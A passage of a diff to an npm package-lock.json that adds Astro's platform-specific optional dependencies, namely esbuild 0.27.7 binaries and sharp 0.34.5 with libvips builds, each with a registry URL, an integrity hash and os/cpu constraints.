+ "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.7.tgz",
+ "integrity": "sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==",
+ "cpu": [
+ "ppc64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "aix"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/android-arm": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.7.tgz",
+ "integrity": "sha512-jbPXvB4Yj2yBV7HUfE2KHe4GJX51QplCN1pGbYjvsyCZbQmies29EoJbkEc+vYuU5o45AfQn37vZlyXy4YJ8RQ==",
+ "cpu": [
+ "arm"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/android-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.7.tgz",
+ "integrity": "sha512-62dPZHpIXzvChfvfLJow3q5dDtiNMkwiRzPylSCfriLvZeq0a1bWChrGx/BbUbPwOrsWKMn8idSllklzBy+dgQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/android-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.7.tgz",
+ "integrity": "sha512-x5VpMODneVDb70PYV2VQOmIUUiBtY3D3mPBG8NxVk5CogneYhkR7MmM3yR/uMdITLrC1ml/NV1rj4bMJuy9MCg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/darwin-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.7.tgz",
+ "integrity": "sha512-5lckdqeuBPlKUwvoCXIgI2D9/ABmPq3Rdp7IfL70393YgaASt7tbju3Ac+ePVi3KDH6N2RqePfHnXkaDtY9fkw==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/darwin-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.7.tgz",
+ "integrity": "sha512-rYnXrKcXuT7Z+WL5K980jVFdvVKhCHhUwid+dDYQpH+qu+TefcomiMAJpIiC2EM3Rjtq0sO3StMV/+3w3MyyqQ==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/freebsd-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.7.tgz",
+ "integrity": "sha512-B48PqeCsEgOtzME2GbNM2roU29AMTuOIN91dsMO30t+Ydis3z/3Ngoj5hhnsOSSwNzS+6JppqWsuhTp6E82l2w==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/freebsd-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.7.tgz",
+ "integrity": "sha512-jOBDK5XEjA4m5IJK3bpAQF9/Lelu/Z9ZcdhTRLf4cajlB+8VEhFFRjWgfy3M1O4rO2GQ/b2dLwCUGpiF/eATNQ==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/linux-arm": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.7.tgz",
+ "integrity": "sha512-RkT/YXYBTSULo3+af8Ib0ykH8u2MBh57o7q/DAs3lTJlyVQkgQvlrPTnjIzzRPQyavxtPtfg0EopvDyIt0j1rA==",
+ "cpu": [
+ "arm"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/linux-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.7.tgz",
+ "integrity": "sha512-RZPHBoxXuNnPQO9rvjh5jdkRmVizktkT7TCDkDmQ0W2SwHInKCAV95GRuvdSvA7w4VMwfCjUiPwDi0ZO6Nfe9A==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/linux-ia32": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.7.tgz",
+ "integrity": "sha512-GA48aKNkyQDbd3KtkplYWT102C5sn/EZTY4XROkxONgruHPU72l+gW+FfF8tf2cFjeHaRbWpOYa/uRBz/Xq1Pg==",
+ "cpu": [
+ "ia32"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/linux-loong64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.7.tgz",
+ "integrity": "sha512-a4POruNM2oWsD4WKvBSEKGIiWQF8fZOAsycHOt6JBpZ+JN2n2JH9WAv56SOyu9X5IqAjqSIPTaJkqN8F7XOQ5Q==",
+ "cpu": [
+ "loong64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/linux-mips64el": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.7.tgz",
+ "integrity": "sha512-KabT5I6StirGfIz0FMgl1I+R1H73Gp0ofL9A3nG3i/cYFJzKHhouBV5VWK1CSgKvVaG4q1RNpCTR2LuTVB3fIw==",
+ "cpu": [
+ "mips64el"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/linux-ppc64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.7.tgz",
+ "integrity": "sha512-gRsL4x6wsGHGRqhtI+ifpN/vpOFTQtnbsupUF5R5YTAg+y/lKelYR1hXbnBdzDjGbMYjVJLJTd2OFmMewAgwlQ==",
+ "cpu": [
+ "ppc64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/linux-riscv64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.7.tgz",
+ "integrity": "sha512-hL25LbxO1QOngGzu2U5xeXtxXcW+/GvMN3ejANqXkxZ/opySAZMrc+9LY/WyjAan41unrR3YrmtTsUpwT66InQ==",
+ "cpu": [
+ "riscv64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/linux-s390x": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.7.tgz",
+ "integrity": "sha512-2k8go8Ycu1Kb46vEelhu1vqEP+UeRVj2zY1pSuPdgvbd5ykAw82Lrro28vXUrRmzEsUV0NzCf54yARIK8r0fdw==",
+ "cpu": [
+ "s390x"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/linux-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.7.tgz",
+ "integrity": "sha512-hzznmADPt+OmsYzw1EE33ccA+HPdIqiCRq7cQeL1Jlq2gb1+OyWBkMCrYGBJ+sxVzve2ZJEVeePbLM2iEIZSxA==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/netbsd-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.7.tgz",
+ "integrity": "sha512-b6pqtrQdigZBwZxAn1UpazEisvwaIDvdbMbmrly7cDTMFnw/+3lVxxCTGOrkPVnsYIosJJXAsILG9XcQS+Yu6w==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/netbsd-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.7.tgz",
+ "integrity": "sha512-OfatkLojr6U+WN5EDYuoQhtM+1xco+/6FSzJJnuWiUw5eVcicbyK3dq5EeV/QHT1uy6GoDhGbFpprUiHUYggrw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/openbsd-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.7.tgz",
+ "integrity": "sha512-AFuojMQTxAz75Fo8idVcqoQWEHIXFRbOc1TrVcFSgCZtQfSdc1RXgB3tjOn/krRHENUB4j00bfGjyl2mJrU37A==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/openbsd-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.7.tgz",
+ "integrity": "sha512-+A1NJmfM8WNDv5CLVQYJ5PshuRm/4cI6WMZRg1by1GwPIQPCTs1GLEUHwiiQGT5zDdyLiRM/l1G0Pv54gvtKIg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/openharmony-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.7.tgz",
+ "integrity": "sha512-+KrvYb/C8zA9CU/g0sR6w2RBw7IGc5J2BPnc3dYc5VJxHCSF1yNMxTV5LQ7GuKteQXZtspjFbiuW5/dOj7H4Yw==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openharmony"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/sunos-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.7.tgz",
+ "integrity": "sha512-ikktIhFBzQNt/QDyOL580ti9+5mL/YZeUPKU2ivGtGjdTYoqz6jObj6nOMfhASpS4GU4Q/Clh1QtxWAvcYKamA==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "sunos"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/win32-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.7.tgz",
+ "integrity": "sha512-7yRhbHvPqSpRUV7Q20VuDwbjW5kIMwTHpptuUzV+AA46kiPze5Z7qgt6CLCK3pWFrHeNfDd1VKgyP4O+ng17CA==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/win32-ia32": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.7.tgz",
+ "integrity": "sha512-SmwKXe6VHIyZYbBLJrhOoCJRB/Z1tckzmgTLfFYOfpMAx63BJEaL9ExI8x7v0oAO3Zh6D/Oi1gVxEYr5oUCFhw==",
+ "cpu": [
+ "ia32"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/win32-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.7.tgz",
+ "integrity": "sha512-56hiAJPhwQ1R4i+21FVF7V8kSD5zZTdHcVuRFMW0hn753vVfQN8xlx4uOPT4xoGH0Z/oVATuR82AiqSTDIpaHg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-darwin-arm64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.34.5.tgz",
+ "integrity": "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-darwin-arm64": "1.2.4"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-darwin-x64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.34.5.tgz",
+ "integrity": "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-darwin-x64": "1.2.4"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-libvips-darwin-arm64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.2.4.tgz",
+ "integrity": "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-libvips-darwin-x64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.2.4.tgz",
+ "integrity": "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-libvips-linux-arm": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.2.4.tgz",
+ "integrity": "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==",
+ "cpu": [
+ "arm"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-libvips-linux-arm64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.2.4.tgz",
+ "integrity": "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==",
+ "cpu": [
+ "arm64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-libvips-linux-ppc64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.2.4.tgz",
+ "integrity": "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-libvips-linux-riscv64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.2.4.tgz",
+ "integrity": "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==",
+ "cpu": [
+ "riscv64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-libvips-linux-s390x": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.2.4.tgz",
+ "integrity": "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==",
+ "cpu": [
+ "s390x"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-libvips-linux-x64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.2.4.tgz",
+ "integrity": "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==",
+ "cpu": [
+ "x64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-libvips-linuxmusl-arm64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.2.4.tgz",
+ "integrity": "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==",
+ "cpu": [
+ "arm64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-libvips-linuxmusl-x64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.2.4.tgz",
+ "integrity": "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==",
+ "cpu": [
+ "x64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-linux-arm": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.34.5.tgz",
+ "integrity": "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==",
+ "cpu": [
+ "arm"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-arm": "1.2.4"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-linux-arm64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.34.5.tgz",
+ "integrity": "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==",
+ "cpu": [
+ "arm64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-arm64": "1.2.4"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-linux-ppc64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.34.5.tgz",
+ "integrity": "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-ppc64": "1.2.4"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-linux-riscv64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.34.5.tgz",
+ "integrity": "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==",
+ "cpu": [
+ "riscv64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-riscv64": "1.2.4"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-linux-s390x": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.34.5.tgz",
+ "integrity": "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==",
+ "cpu": [
+ "s390x"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-s390x": "1.2.4"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-linux-x64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.34.5.tgz",
+ "integrity": "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==",
+ "cpu": [
+ "x64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-x64": "1.2.4"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-linuxmusl-arm64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.34.5.tgz",
+ "integrity": "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==",
+ "cpu": [
+ "arm64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linuxmusl-arm64": "1.2.4"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-linuxmusl-x64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.34.5.tgz",
+ "integrity": "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==",
+ "cpu": [
+ "x64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linuxmusl-x64": "1.2.4"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-wasm32": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.34.5.tgz",
+ "integrity": "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==",
+ "cpu": [
